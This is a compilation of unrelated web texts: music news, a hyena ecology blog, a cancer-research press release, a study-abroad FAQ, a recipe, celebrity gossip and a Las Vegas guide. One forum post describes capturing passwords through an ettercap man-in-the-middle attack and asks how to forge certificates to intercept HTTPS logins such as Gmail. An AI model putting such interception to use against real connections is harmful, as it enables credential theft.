LIONEL RICHIE'S FIRST NO. 1 CD IN 26 YEARS Lionel Richie's new country album, "Tuskegee," is at No. 1 on Billboard's Top 200 Album chart. It's his first No. 1 here in 26 years, since his quadruple-platinum album "Dancing on the Ceiling" went to the top of the pop album chart in 1986. It's also No. 1 on the Country and the Digital album charts.
"Tuskegee" sees the smooth 62-year-old R&B and pop star re-record his hits country-style with help from the likes of Tim McGraw, Shania Twain, Willie Nelson, Jimmy Buffett, Rascal Flatts, fellow crossover guy-former Hootie and The Blowfish leader Darius Rucker, Blake Shelton, Kenny Chesney and Kenny Rogers, who duets on the Ritchie-penned "Lady," that Rogers took to No. 1 in 1980, a song Billboard lists at No. 47 on its All Time Top 100.
Surprisingly, Richie is not capitalizing on his hit album with a big tour.
In fact, he doesn't have a single upcoming U.S. concert scheduled for the remainder of the year. Instead, he'll be in Britain and Europe touring, but not until Sept. 24. That tour runs through Dec. 6.
FILM TALK: THE STONES & TAYLOR SWIFT AS JONI MITCHELL? Variety reports that Taylor Swift is actively engaged in talks to portray Joni Mitchell in the film version of Sheila Weil's biography, "Girls Like Us," that charts the lives and careers of Carole King, Carly Simon and Mitchell during the '70 s.
The Rolling Stones will be the subject of a dramatic film based on Robert Greenfield's 2008 book, "Exile on Main Street: A Season in Hell" to be produced by Richard Branson's Virgin Produced film company, according to Deadline Hollywood.
The film and book are about the summer of 1971 when the band became tax exiles and fled Britain for a chateau in the south of France, which is where the lion's share of their classic album, "Exile on Main Street," was recorded. The film will shine its spotlight on the difficult relationship at the time between band leader Mick Jagger and Keith Richards, who began using heroin on a daily basis while there.
The band set up its recording studio in the chateau's basement. Of this setup, Richards told Rolling Stone magazine, "It wasn't a great environment for, like, breathing. It was very Hitler-esque - the last days of Berlin sort of thing."
URBAN NEWEST OPRY MEMBER New Zealand-born and Australia-raised Keith Urban is the newest country star to be inducted into Nashville's hallowed Grand Ole Opry. Since his recording career began in 1990, the singer has lassoed six platinum and multi-platinum albums and nine gold singles.
Of his induction, Urban said, "This is a responsibility I take deep to the heart of me. This once and for all shows the global popularity and reach of country music. I honor the history of country music, but I absolutely fully dedicate myself to the future of country music."
MAN'A BREAKS STAPLES RECORD Veteran Mexican rockers Man'a did something that Madonna, U2 and countless others haven't. The four-time Grammy-winning quartet that formed in Guadalajara in 1986 just played eleven sold-out shows at the Staples Center in downtown L.A., according to KABC-7.
Alex Gonzales, the 43-year-old drummer, who is also known as El Animal, said, "It's a tremendous honor to say that this beautiful building is not only the home to the Lakers, but now it's the Man'a house. We don't have a huge marketing machine behind us. All we have is our music and our talent."
The group's latest album, "Drama y Luz," that was released last April, has gone double-platinum and won the Latin Grammy Award for Best Rock Album.
Three singles from the album hit No. 1 on Billboard's Hot Latin Tracks chart.
FIRST SOUNDGARDEN SINGLE OF NEW MUSIC IN 15 YEARS Seattle grunge rock pioneers Soundgarden has released its first single of new music in 15 years (the band released two remixed singles of 20-year-old outtakes when they re-grouped in 2010). All four band members receive songwriting credit. "Live to Rise" will appear on the upcoming soundtrack album for "Marvel's The Avengers." It's available exclusively for download on iTunes. The group's last single, singer Chris Cornell's "Bleed Together," made it to No. 13 on Billboard's Mainstream Rock Tracks chart in 1997, the year it broke up.
ROBIN GIBB AWAKENS FROM COMA Former Bee Gees singer Robin Gibb, 62, awakened from a coma after nearly two weeks. He fell into the coma after contracting pneumonia in a hospital in central London, reports the U.K.'s Daily Mail.
Shortly before he awakened, his fellow Bee Gees brother Barry, sang to him at his bedside, and he cried when his wife, Dwina, played him Roy Orbison's 1961 tear-jerker ballad, "Crying." His three kids were also playing him his favorite music. Eventually he awakened, opened his eyes, looked his 28-year-old son Robin-John and said, "Hello, RJ."
"Robin is fully conscious, lucid and is able to speak to his loved ones. He is breathing on his own, with an oxygen mask," his gastroenterologist, Andrew Thillainayagam, said in a statement.
He's been battling colorectal cancer and received aggressive chemo for it. He also underwent two surgeries.
NEIL DIAMOND TIES THE KNOT In a ceremony in Los Angeles, Neil Diamond, 71, married his manager, Katie McNeil, 42, according to People. It was Diamond's third marriage and McNeil's first.
Diamond's upcoming American tour kicks off June 1 in Sunrise, Fla., and includes five hot August nights at the Greek Theatre in L.A. from Aug. 11-25, with stops at the Cricket Amphitheatre in Chula Vista on Aug. 14 and the Honda Center in Anaheim on Aug. 21 in between. At the Greek, Diamond will celebrate the 40 th anniversary of his double-platinum live 2-LP, "Hot August Nights," that he recorded at the venue.
WILLIE NELSON STATUE Before a crowd that included his old friend Kris Kristofferson, Austin-area rancher and country music legend Willie Nelson helped to unveil an 8-foot statue of himself on Willie Nelson Blvd. in downtown Austin, reports the Associated Press. The bronze statue shows the singer sitting on a rock, thoughtful and smiling, resting his arm against his beloved beat-up old guitar, Trigger, that he's used for decades.
To commemorate the event that coincidentally took place on 4/20, the unofficial but widely practiced Marijuana Appreciation Day, Nelson, who turns 79 next week, serenaded the adoring throng that included a woman on horseback with, "Roll Me Up and Smoke Me When I Die."
Mayor Lee Leffingwell said, "No one has done more to make Austin the 'Live Music Capitol of the World."'
NEW RELEASES Among the recent new albums, re-issues and deluxe box sets are the 2-CD "New Blood Live in London" from Peter Gabriel; "Satchurated: Live in Montreal from guitar wizard Joe Satriani; "Blues for the Modern Daze," from former Canned Heat and John Mayall and The Bluesbreakers guitar great Walter Trout; "Nashville 1: Tear the Woodpile," from Grand Ole Opry member Marty Stuart; Carole King's "The Legendary Demos" and a 2-CD/1-DVD set, "Live At The Moody Theater," from The Warren Haynes Band.
There are two new Monkees releases out. A CD/DVD set, "Pool It!: The Deluxe Edition," from The Monkees and "The Bell Recordings 1971-72," from Davy Jones' immediate post-Monkees years.
New DVDs include Joe Jackson's "Rockpalast" and a compilation "The Story of Rock and Roll Comics."
EARTH DAY IN D.C. Earth Day events were held around the world. In Washington D.C., the Earth Day Network sponsored a free rain-dampened concert on the Mall headlined by Cheap Trick and former Traffic singer-guitarist Dave Mason. Up and coming teen popsters Kicking Daisies also performed.
BEACH BOYS ALBUM & SINGLES RELEASE DATES SET The as-yet-untitled album by The Beach Boys will be released June 5, according to a video announcement by the group and Capitol Records.
It's the first album of new songs by the four main surviving members of The Beach Boys (Brian Wilson, Mike Love, Al Jardine and Bruce Johnston) since their self-titled album, simply called "The Beach Boys," in 1985, and the first with original guitarist David Marks since the group's fourth album, the platinum-selling "Little Deuce Coupe," came out in October 1963.
The album's first single, "That's Why God Made The Radio," will also come out that day. Portions of the song, a slow dancing '50 s doo-wop tune, can be heard on YouTube under "The Beach Boys - Single Sizzle Reel."
The guys recorded a live in-studio performance with interviews that will air on May 26 on SiriusXM radio that saw them run through classic hits, as well as songs from the new album.
The re-united band launched its first tour with Wilson in two decades this week in Tucson. The tour stops at the Hollywood Bowl on June 2 and the Verizon Wireless Amphitheatre in Irvine on June 2.
RON WOOD & FRIENDS IN ATLANTIC CITY Faces and Rolling Stones guitarist Ron Wood headlined a one-off concert billed as "Ron Wood and Friends" at the Golden Nugget Hotel and Casino in Atlantic City, according to the Philadelphia Inquirer.
It was the guitarist's first American solo gig, if you don't count his 18 concerts in 1979 fronting The New Barbarians, in which Keith Richards, fusion bass superstar Stanley Clarke and Faces keyboardist Ian McLagan, Stones saxman Bobby Keyes and drummer Ziggy Modeliste of The Meters, and a 1987-88 tour he co-headlined with Bo Diddley as The Gunslingers, that played, among other venues, Magic Mountain in Valencia.
Wood and an unknown band ripped through a potpourri of songs from throughout a career that dates back to 1968 when he was bassist in The Jeff Beck Group, including The Faces "Ooh La La," "Stay With Me" and a few Stones' rarities, including the 1981 blues-rocker, "Black Limousine" and "Pretty Beat Up," from 1983's "Undercover." He also wailed through his biggest solo song, Bob Dylan's "Seven Days."
Wood was initially staying at the hotel in Atlantic City while his paintings were being shown at a New York City gallery. The owner of the hotel is a friend of his who said, "While you're doing your artwork, how about playing the Golden Nugget?"
"I (figured), why not? If I like it, maybe I'll play (the Golden Nugget) in Vegas, too. I'm just putting my toe in the water."
Wood's newest composition, "Coming Together," was featured on the season finale of "CSI: Miami." Wood's a nut for the show and wrote the song especially for the series. "Not only am I the biggest fan of 'CSI: Miami,' but I have made some great friends amongst the cast members. This song reflects their friendship and mine, and I hope it (was) a fitting comment for the season finale."
BURRITOS BROTHERS' ETHRIDGE DIES Bassist Chris Ethridge, a founding member of the '60 s country-rock pioneers, The Flying Burrito Brothers, with former Byrds Gram Parsons and Chris Hillman and steel pedal guitarist Sneaky Pete Kleinow, died in a hospital in Meridian, Miss., at 65, according to the Washington Post. No cause of death was given but he had been diagnosed with pancreatic cancer last September.
After his Burrito Brothers gig ended in 1970, the bassist continued to collaborate on and off with Parsons until the mercurial singer-songwriter's morphine and alcohol overdose death at 26 in 1973. Ethridge also worked with the likes of Judy Collins, Jackson Browne, Linda Ronstadt, Leon Russell, Randy Newman and blues-rocker Johnny Winter.
Ethridge later spent eight years as a member of Willie Nelson's Family Band.
Of Ethridge, Nelson tweeted, "(Willie Nelson and Family) are sad to hear of the passing of Family member and friend, Chris Ethridge. He was a talented musician and we were honored to call him friend."
DYLAN RESPONDS TO PAL HELM'S DEATH Bob Dylan responded to the death of his former drummer and collaborator, Levon Helm of The Band, who passed away on April 19 in New York City at age 71.
"He was my bosom buddy friend to the end, one of the last true great spirits of my or any other generation. This is just so sad to talk about," Dylan posted on his website. "I can still remember the first day I met him and the last day I saw him. We go back pretty far and had been through some trials together. I'm going to miss him, as I'm sure a whole lot of others will too."
NOW PLAYING Classic acts from the '50 s, '60 s and '70 s continue to perform. Here's what some of them are doing:
Chicano rockers Thee Midnighters scored mid-'60 s hits with their take on "Land of a Thousand Dances" and with the instrumental, "Whittier Boulevard."
The band is still performing and have three concerts in the Los Angeles area set over the next few months.
They'll celebrate Cinco de Mayo at the Santa Fe Springs Swap Meet on, yes, May 5, before playing a gig on May 18 with '70 s Latin R&B hitmakers Tierra at a secret venue in Studio City. Go to www.songkick.com/concerts for details.

Giving up trash for Lent: How a human custom forces hyenas to hunt
All over the world, the expansion of urban areas and other human activities has pulled the natural prey base out from under many ecosystems and brought large predators in close contact with people and the resources they can provide – livestock, garbage, unattended pets, etc.. Many predators will take advantage of these food sources, often leading to human-animal conflicts (see wolves in the western U.S., lions in Africa and a range of others). Sometimes, though, humans and wild carnivores will become fairly friendly neighbors.
On the Horn of Africa, spotted hyenas (Crocuta crocuta) have adapted well to dense human populations, and the two species have a unique relationship that benefits both of them. The hyenas almost never attack people and mostly leave their livestock alone, preferring to scavenge on waste and refuse from homes and businesses. The hyena's iron stomach helps them fit in well here, and they can choke down almost any organic matter they find at the dump – from leftover porridge, to feces, to putrid, anthrax-infected carcasses. The people aren't exactly thrilled with the hyena presence, but many villages and towns tolerate them as walking garbage disposals. The locals call them "municipal workers," and refrain from harassing or killing them.
Every year in the spring, this arrangement collapses when members of the Ethiopian Orthodox Tewahedo Church celebrate the fasting period of Lent. For 55 days leading up to Easter, Ethiopian Christians abstain from meat and other animal products, which causes a slow couple of months for the local butchers, and a dearth of carcasses at the dumps.
Without the fat of the land to live off of, what's a non-Christian hyena to do? Gidey Yirga from Ethiopia's Mekelle University and colleagues from Africa and Europe observed the animals during last year's Lent and found that thy turn to hunting instead. Despite their reputation as strict scavegners and opportunists, hyenas are formidable, efficient hunters. Stalking alone or in packs, they favor large prey (150-400 pounds) and a lone adult hyena can take down an animal four times its own size. In East African ecosystems where scavenging opportunities are rare, they hunt and kill 60–95% of their food.
Last spring, Yirga and his team went to three different sites around the city of Mek'ele and collected all the hyena droppings they found on the first day of Lent, the last day of Lent and 55 days after that. Several months worth of dropping gave them a glimpse of what the hyenas were eating before, during and after the fasting period. There isn't much to be found in a hyena turd, since they can digest pretty much all parts of their prey except hair, hooves and a few inorganic components found in bones. It was enough for the researchers to go on, though, and they compared the hair from the 553 droppings they found to hairs from a reference collection to ID the animals the hyenas had been eating.
The scat studying revealed that before and/or after Lent, most of the hyenas' diet is made up of goat, sheep, horse and cow – usually scavenged waste parts. While humans are fasting, though, the hyenas scavenge less (while the butchers' supply dried up, the local veterinary school still provided some carcasses) and fill the gaps in their menu by actively hunting donkeys. The donkey is a natural choice of prey if an urban hyena has to go after a live animal. They're the right size and, unlike the other local livestock, they're not kept penned in in compounds. They're easy pickings, and during Lent, the hyena's donkey consumption can double from surrounding weeks.
Faced with a carnivore's dilemma, the hyenas showed how adaptive they can be to the sometimes strange behaviors of their human neighbors. Yirga's study is not only evidence of the hyena's versatility, but also highlights trash as a delicate factor in urban carnivore management. If you give predators an inch, they'll take a mile, or a donkey, and better waste management would create a less inviting environment for them. In areas where wild carnivores have grown dependent on livestock and garbage for lack of other prey, though, a too-tight lid on the garbage can could thin their numbers and have an ecological ripple effect.
Hat tip to Barbara J King for bringing the study to my attention.

Research center wins national competition
The University of South Carolina's Center for Colon Cancer Research has received first prize in the Prevent Cancer Foundation's inaugural Screening Saves Lives National Challenge for its innovative project, "Colorectal Cancer: Get Behind It."
The center, based in the College of Arts and Sciences, will receive a $5,000 educational grant and a visit from the Prevent Cancer Super Colon, a 20-foot interactive educational exhibit, to enhance local colorectal awareness efforts.
The CCCR will target two worksites in rural South Carolina communities that have employer-provided insurance that pays for colorectal screening. Onsite promotion of colorectal prevention and early detection through screening will be provided to all employees, including educational briefings before and after shifts. Additionally, CCCR plans to partner with primary care providers in these communities to promote colorectal screening in their practices.
The center's outreach staff will work with the benefit coordinator at each worksite to monitor pre- and post-intervention colorectal screening rates among their age appropriate employees.
"The 'Get Behind It' program is excellent because it builds upon an existing screening project and targets employees in the workplace," says Suzette Smith, director of Partnerships for Colorectal Cancer Screening. "By working with providers and educating those who already have access and medical coverage, this project eliminates barriers that other screening efforts face."
Colorectal cancer is a leading cause of cancer death in the US, with about 150,000 new cases and 56,000 deaths occurring annually. In 2010, there were 2,140 new cases and 700 deaths attributed to colon cancer in South Carolina.
About The Prevent Cancer Foundation
Founded in 1985, Prevent Cancer Foundation is one of the nation's leading health organizations, which has catapulted cancer prevention to prominence. Since its inception, the foundation has provided more than $120 million in support of cancer prevention and early detection research, education and community outreach programs across the country. For more information, visit www.preventcancer.org
About the Center for Colon Cancer Research at USC
The Center for Colon Cancer Research (CCCR) was established in 2002 by the National Institutes of Health Center for Biomedical Research Excellence (COBRE) grant totaling $11 million dollars over 5 years. In August 2007, the CCCR was awarded $10.7 million over 5 years through 2012.

Please note that the Mount Saint Mary College Office of
International Programs cannot discuss information
from a student's records unless we have received a completed FERPA
form from the student.
You can find program information by contacting the Office of
International Programs directly, or by seeking out the appropriate
university or third-party provider with whom your student is
Yes, of course! If you wish to speak to your student's study
abroad advisor directly, you may call between 8 am-4 pm
Monday-Friday or email email@example.com at any
Financial aid will come through the student's home campus in the
U.S. Students can contact the financial aid office directly or
speak with their Study Abroad advisor.
Yes. Students will be advised as to what insurance is relevant
to each country. Mount Saint Mary College works closely with each
student to make sure that they have the appropriate coverage for
any and all emergencies and will recommend purchasing additional
insurance if needed.
This varies by country. The Office of International Programs can
provide support during the visa process, but ultimately visa
requirements are dictated by the host country's government.
Countries often change their visa requirements without notifying
us, and as we try our hardest to stay on top of any minor or major
changes, it is encouraged for all students to also be as up-to-date
as possible on the visa process.
Budgets will be discussed throughout the application and
acceptance process, and your child will have copies of the
suggested budgeting amounts per program. Please understand that we
cannot guarantee the costs of travel and daily expenses, and that
the amounts suggested will vary on a case-by-case basis and on
spending habits of the student.
The Office of International Programs conducts a pre-departure
orientation which parents are invited to attend. The date, time,
and location will be emailed to your student. Please contact your
student for details.
Mount Saint Mary College believes the safety and security of
your student is of the upmost importance, and parents can request
any and all copies of our emergency and safety protocols. Students
have dedicated professionals at their host sites who are committed
to ensuring the safety of our programs and of our students.
Students travelling with third-party institutions or with other
universities will have professionals from those programs as point
persons for any security or safety issues. The names and contact
information for those persons is available through the Office of
International Programs.
The cost depends on the type of program that is chosen, the
length of stay, the sponsoring school, etc. If the program is
through your student's home university, fees will vary from
$5,000-6,500 for a 4-week session including credits, housing, all
travel both domestic and international, and some excursions. For
many Mount Saint Mary College programs, students will pay tuition
to their home university, and any additional fees noted on the
budget sheets provided by the programs. A program fee may be due
depending on the student's program. It covers the tuition
differential which accounts for the difference in Mount Saint Mary
College tuition and higher instructional costs at the abroad site,
as well as other expenses included in the program (i.e. housing and
on-site support from Resident Directors). For program-specific cost
information, please see the budget sheets for each program of
interest. Other fees, which are often due prior to departure, may
include costs such as airfare, meals, additional travel, etc. In
order to evaluate the overall cost of the program, it will be
necessary to contact the program department of the sponsoring
institution to find out exactly what is included.
Generally, the courses/classes the student plans to take abroad
must be pre-approved by their study abroad advisor, the registrar,
faculty advisor, dean, or admissions officer to ensure that the
maximum amount of credit for the courses taken will be received. If
the course information is not available until arrival at the study
abroad location, be sure to find out what specific information is
needed upon return to make sure the courses are accepted by the
home institution. In general, all courses must be approved by the
Office of International Programs prior to the student's departure
with the understanding that once in the country the students may
have to change courses due to unforeseen circumstances.
The program duration depends on the program chosen. Study abroad
programs generally range from one month for summer sessions and
three months to one year for school year programs. The amount of
time the student is able to spend abroad and the time of year
he/she chooses to go abroad can be determined by answering a few
simple questions:
Most universities and exchange organizations require that all
students have a good health insurance plan while studying outside
of their home country. During an international educational
experience or exchange program, the student may need to see a
doctor, have a prescription filled, receive care at a hospital, or
deal with an unexpected medical emergency. The Medical Benefits
provided under Health Care Global 2000 can help protect your child
against these unforeseeable circumstances. Should you and your
student choose to use a different health care provider, the Office
of International Programs will require proof of insurance coverage,
details of that coverage, as well as a waiver of MSMC coverage.
The amount of money that will be needed for the trip depends on
the expenses that the student may be required to pay while abroad.
It is a good idea to create a budget prior to departure that
separates any known living and school expenses such as food,
housing, transportation, and text books from general spending money
that can be used for independent travel, tourist attraction
entrance fees, and souvenirs. Keep in mind that having a budget
does not mean that the student needs to have to carry cash around
for each of these expenses - just know about how much is allotted
to each so money for meals is not spent carelessly on
Always remember:
"Traveling with large amounts of cash is not
recommended." - 'It's Your World' handbook.
The student should consider using several different forms of
payment for expenses. Traveler's checks, credit cards, ATM cards,
and cash are accepted almost everywhere. Although U.S. dollars are
also widely accepted throughout the world, the student should make
every attempt to use the local currency. ATMs are readily available
in all the countries to which students travel and students will
need to notify their banks prior to their departure of their
intention to use cash points while abroad as many banks need to
authorize those transactions prior to departure. Credit cards with
Visa and MasterCard logos are also widely accepted.
To obtain foreign currency, any of the following can be
With all the money changing options available, the best thing
the student can do is to be an educated traveler. Know what the
current exchange rate is and be able to calculate how much should
be received in return for each transaction. Also, be safe when
carrying money and do not carry all of it at once. See the tips
below from the 'It's Your World' guide:
"To keep your money as safe as possible, take the following
precautions: Exchange money only in banks or other authorized
exchange bureaus. Never exchange it on the black market. Carry only
as much money as you need for a day. Use the same precautions when
using ATMs (automated teller machines) as you would at home. The
safest units to use are those inside banks or other buildings.
Don't leave your purse unattended, even for a moment. Tuck it
firmly under your arm; if it has a long strap, wear it across your
chest rather than let it dangle off your shoulder. In some areas, a
waist pouch or money belt may be the safest way to carry money,
especially if it is worn under your clothing."
Travelers checks can be purchased at a bank or local travel
agency (American Express, AAA, etc.) in a variety of denominations
and currencies. They can be used for payment at many local
establishments or can be exchanged for cash at any bank or exchange
agency. Traveler's checks come in both US Dollars and in many
foreign currencies and can be replaced if lost or stolen. Make sure
to keep a list of the serial numbers from each check in a safe
place so it can be given to the bank representative for
Please be aware that the use of traveler's checks may not be
accepted in certain areas of the world. For example, do not expect
to use traveler's checks if traveling to rural parts of South
America or to rural hill stations in Africa or India.
The housing options depend entirely upon the program that is
being offered. Many students are expected to live on campus in
either single or double occupancy dorm rooms. Others may have the
option to live off campus in apartments or participate in a home
stay and live in the home of a nearby family. If the student is
expected to arrange his/her own housing, ask for recommendations
from the sponsoring institution because student housing in foreign
countries is not always easy to come by and may be expensive. It is
also a good idea to find out what is included in the housing
package (meals, linens, etc.) so your child will not be caught off
guard with any unexpected expenses.
Please be aware that all housing options will be similar to the
accommodations that students in the host country would have. These
accommodations may not be to the same standards as MSMC students
are used to and there may be some culture shock when adapting to
your new environment. Please try to be respectful and open to these
changes in lifestyle.
Students participating in MSMC summer study abroad will have all
of their flights arranged for them and the cost of these flights is
included in their program fee. The students are responsible for
arranging their own transport to and from the airport prior to and
after International departure.
Some study abroad program fees include air and land
transportation if the travel falls within specified program dates.
This may include transfers to and from the airport and even local
transportation if the student's housing is not near the host
campus. If airfare is not part of the program fee, still check with
the program sponsors because some schools can secure a group rate
if several students will be departing from the same location. It is
also a good idea to make flight arrangements well in advance,
especially during busy travel months.
Any additional travel plans that the student chooses to make are
generally not included in the program fee; however, there may be
optional tours that are available for an additional cost through
the sponsoring institution. If the student plans to travel between
different countries while abroad, be sure he/she applies for the
appropriate visas and clearances in advance.
Below are some tips for purchasing airline tickets from the
'It's Your World' handbook:
"Many countries list a round-trip ticket as one of their
entry requirements. Even though you may not know when you want to
return home and you may have to pay a surcharge to change your
return ticket, it is still cheaper to buy the round-trip ticket
instead of buying two one-way tickets. Shop carefully to find a
flight that best suits your needs. Compare the price of open-ended
tickets, in which you return at any point within a specified length
of time, with the price of a ticket bearing a stated return date.
If you are planning to travel on your own after your program ends,
you might want to investigate "open jaw" fares, which let you
return from a different location from your point of arrival. STA
Travel is an excellent source of information about student travel.
With your International Student Identity Card, you can sometimes
get up to 50% off of commercial airfares through STA Travel. More
information about STA Travel and its travel services is available
on-line at www.statravel.com."
The chosen program may have an orientation package or session,
which will explain the various means of transportation available in
that particular location. In Europe, train or subway are popular
options. In other countries, taxis or mopeds may be the cheapest
and most direct choice. Wherever the student goes, it is a good
idea to know the local taxi rates and to negotiate a fair deal
prior to departing. Also, make sure the student is informed about
local driving laws for car and moped rentals, and check to see if
his/her current car insurance will cover international rentals. For
independent travel in Europe, check out the Rail Europe for information on
rail passes and car rentals. All information about travel and
transportation can also be found at your travel agency.
Please note: This is only a sample list of documents that may be
required for International travel. The actual documents your
student will need vary depending on the location of the program. Be
sure to contact the hosting institution for official pre-departure
information. In all cases, fill out any applications and make all
necessary appointments for each document well in advance as it can
take anywhere from a few weeks to a few months to complete the
The most widely used form of identification for international
travel is a passport. Almost all foreign countries require that
visitors have a passport. For more information regarding the
application/renewal process, visit www.travel.state.gov or call
the National Passport Information Center at 1-877-487-2778.
A visa is a permit from an international country that allows
visitors to enter and leave their borders, and may be required for
the chosen program or by any countries that the student plans to
visit while traveling independently. Visas often list planned
travel dates and do expire, so be sure to have these dates
available when applying. For more information about visas and how
to apply, visit www.travel.state.gov.
Although not usually required, the ISIC may be a valuable
document for which to apply. In addition to identifying your child
as a student, it may help him/her qualify for discounts on airfare,
travel insurance, medical and health assistance, and entrance fees
to museums and other cultural sites around the world. This card can
be purchased through various websites, travel agencies, or from
many US colleges and universities. Visit www.internationalstudentidcard.com
for more information about how to obtain a card.
The student may be required to obtain a number of different
vaccinations prior to entering a foreign country. The list of
required vaccinations and facilities that can provide these
vaccinations should be obtained from the study abroad department of
the hosting university. When traveling to developing countries, the
following vaccinations are usually required: typhoid fever,
hepatitis A and B, cholera, and yellow fever. Anti-malarial
medication may also be recommended. It is also suggested that a
list of childhood immunizations be obtained from your family
physician (these may include: tetanus, polio, diphtheria, etc.) and
update these immunizations if needed.
It is possible that wherever the student goes, he/she will be
able to find someone that speaks even a little English, but it is
always beneficial for the student to make every effort to learn the
local language, or at least some key phrases, as it will enable
him/her to make the most out of the study abroad experience. If
your child is not comfortable with the language, a program should
be selected where the courses are taught in English. Another option
is to enroll in an intensive language class prior to departure.
Chances are, the food in the country abroad is not going to be
like the food many of us are used to eating at home. Although this
can be a wonderful part of the experience, it may be difficult or
even painful for some. Be sure to follow the host school or host
family's guidelines about what precautions to take when sampling
local foods and drinks. (Note: in areas where it is not safe to
drink the water, remember that ice, fruit juices and even
vegetables and fruits washed in the water should be avoided if at
all possible.) Your student will be surprised, however, to find
that many popular fast food chain restaurants from the United
States can also be found all over the world!
"Remember to remind the people at home that you may not have
a phone immediately available. As a result you may not be able to
phone them as soon as you arrive. Agree on a time by which you
definitely will have called home."
Your student will be going through some life-changing
experiences. Generally, when students land on foreign soil, they
experience a phenomenon called "Culture Shock." They may feel
disorientated or experience discomfort in trying to adjust to
another culture. Don't be alarmed if you receive a phone call after
24 hours of his/her arrival. The best thing to do is to remain calm
and be positive. Culture Shock does not affect everyone the same,
some students have it longer than others, some not at all. This
difficult time in your child's life will be temporary; however, the
reward of studying abroad will outweigh the initial discomfort that
the student might feel.
Staying in touch will be important. It is usually not a good
idea to encourage your son or daughter to call home every day or
every week. (It will save both of you money.) A good suggestion is
to call at regular intervals, planned in advanced to avoid missed
phone calls and confusion (e.g. Sunday nights at 10:00 Central
time). Realize that there is probably a significant amount of time
difference and it might be bedtime where your son or daughter is
staying when you call from the U.S. It may be wise to check out
options with your phone company for adding an international long
distance plan to your phone service. While students are abroad,
they have the option of using the ISI Connect card they purchased
in the U.S. or buying local phone cards to call home. In home-stay
situations, discourage students from calling from the host family's
phone. The family is usually charged for each minute, even if it is
a local call. Email is another great and inexpensive option to keep
in touch.
It is impossible to guarantee absolute safety of your daughter
or son while he or she is miles away. The Office of International
Programs takes steps to provide a safe environment while the
student is abroad. It is the student's responsibility to use common
sense to avoid possible issues. Students are required to read
country-specific pre-departure information (including the
applicable Consular Information Sheet) and to be familiar with the
customs and culture of the country to be visited. Women are
strongly cautioned about traveling alone in certain countries. It
is a good idea for students to leave a travel itinerary with
contact information for parents and for host university personnel,
just in case.
It is quite possible that he/she will be suffering from jet-leg
and or reverse culture shock. Reverse culture shock can be a real
problem for some, especially those who have spent an academic year
abroad. Your help will be of great assistance during this time of
confusion and disorientation. If students have grown accustomed to
the culture of the host country, they might be bored to be back
home or feel a lack of direction. During the period of
re-adjustment, students will try to get back into the normal
routine and may find it difficult due to experiences and things
they have learned. It is important to remember that students are
normally excited about coming back and being on their native turf.
They want to tell you all about the exciting experiences they had.
When you ask "How was your trip?", do not expect a 15-word sentence
to describe their entire journey. It is important to remember that
your child has changed in many ways: personally, culturally,
academically, and professionally. Your child has matured, in many
ways, to a new individual. It is important that you take time to
listen to his/her stories and experiences, and look at his/her
pictures. Please take an interest in your child's experience abroad
and be understanding to their needs.
If your son or daughter feels ill within 12 months after a trip
abroad, he/she should mention to the physician the countries he/she
has visited. The Center for International Programs advises students
to avoid unprotected and unsafe sexual encounters while abroad.
Upon return, it might be a good idea to schedule an appointment
with a healthcare provider to have a complete physical.

I was hanging out with my cute sister-in-law Aleisha earlier this week and we were chatting over delicious seven layer dip that she had brought. I made the comment that I had never made it before because it seemed like too much work to make each individual layer and then stack them all up (I am lazy like that). She told me that this dip couldn't be easier- just buy everything pre-made! So, I came home the very next day and started looking on Pinterest for yummy seven layer dips and came across the cute idea to make them in plastic tumbler cups so that everyone can have their individual servings! These would be perfect for a BBQ or Potluck dinner . . . who could resist a cute little cup full of delicious dip?!
Individual Seven Layer Dip
Recipe idea from The Girl Who Ate Everything
1 (16 oz) can refried beans (or make these delicious homemade refried beans)
Store in the refrigerator until serving and serve with chips.
I was able to make about 12 cups of dip. They were a huge hit!
If you wanted to, you could use the same amount of ingredients and spread it out in a 9×11″ pan to make one large seven layer dip. 🙂 It will still taste amazing!


text: Yesterday, Nick Cannon finally admitted that he and Mariah Carey have been living in separate houses for months and that is all he really had to say. Apparently he is not allowed to say anything more than that and the past few months have seen the couple trying to figure out how to split assets and custody so Mariah could have things neatly wrapped up and present them to the world the way she see fits and presumably with some type of Kneepads cover to go with the story. Only Mariah is allowed to tell the world her side of the story and Nick has been barred from saying anything more than the couple is not living together. Nick did add that the reason they are splitting is not because of infidelity, although he never says there was no cheating. You know, if you haven't been living together for months then he might not think it is cheating. I wonder at what point he thinks they were not together and it was ok for him to be with other women. The thing is, it seems like cheating when both halves of the couple try and pretend that everything is great and release photos that show the pair together even if the photos were taken months and months ago and are trying to be passed off as current.

I have setup a home laboratory and with ettercap tried to sniff on eth0 on my laptop a desktop pc wich has all firewall configurations extended tu full. I also got reported of paswords and usernames i loged on my desktop with MITM attack but when I try https or some secure network on my desktop pc says it cant progress.
So I tried installing openssl and it installs good but am not sure how to configure it with ettercap and will it work then. I also tried login to the gmail account and it didnt let me in.
Best regards MAxHalz.
P.S. Also tried to search for internet but there is no general howto so am unsure how to do this. Any replies would be of great help.
Good to know...thanks Tron.
I'll go back to my hole for a while
So, how cant I sniff my own connection with secure connection like gmail and some other sites?
What about openssl and how to configure it succesfully?
I have downloaded a libtool but not sure how to use it for openSSL code.
Is there a way to reconfigure openSSL and invent my own certificate and then run it from ettercap?
I saw some tuts on using lib tools but they are for expert use and feel a bit lost.
I will try lowering my firewall level to low and then report. Also will search google again and hope to find the answer.
Also any sugestions are welcomed.
Best regards MaxHalz.

A sparkling length of light in the middle of the American desert —it's hard to resist the allure of the Las Vegas Strip. Though famous for its access to gambling, nightclubs, and celeb-hosted parties, the Strip shouldn't be overlooked for the world-class shows, restaurants and shopping it also has on offer.
It's fitting that this is the first stop for many as they embark on their Vegas nights. Like those who have come before you, snap a photo in front of this iconic sign, which has been located on the south end of The Strip since 1959.
Of course, the casinos dominate the skyline and are the focus of nearly every traveler that ventures to the Strip. Some of the more famous money houses include the Aria, the Bellagio, the Venetian and the Wynn. There are 30 other accommodation choices to keep you equally entertained.
Vegas's reputation as a playground for adults can seem quite literal when you look to the New York-New York Hotel and Casino, and see The Roller Coaster taking travelers screaming through the casino (as well as outside of it). Meanwhile, the Stratosphere welcomes the bravest of visitors who want to ride the Big Shot or Insanity, the two highest thrill rides in the world. They literally sit on top of the hotel, high above the Strip's skyline.
Las Vegas is known for its high-class entertainment, particularly its lavish stage shows. Cirque du Soleil performs various, distinct shows at a number of casinos. Also popular are performances by famous entertainers like Criss Angel, Penn & Teller, and comedian Carrot Top.
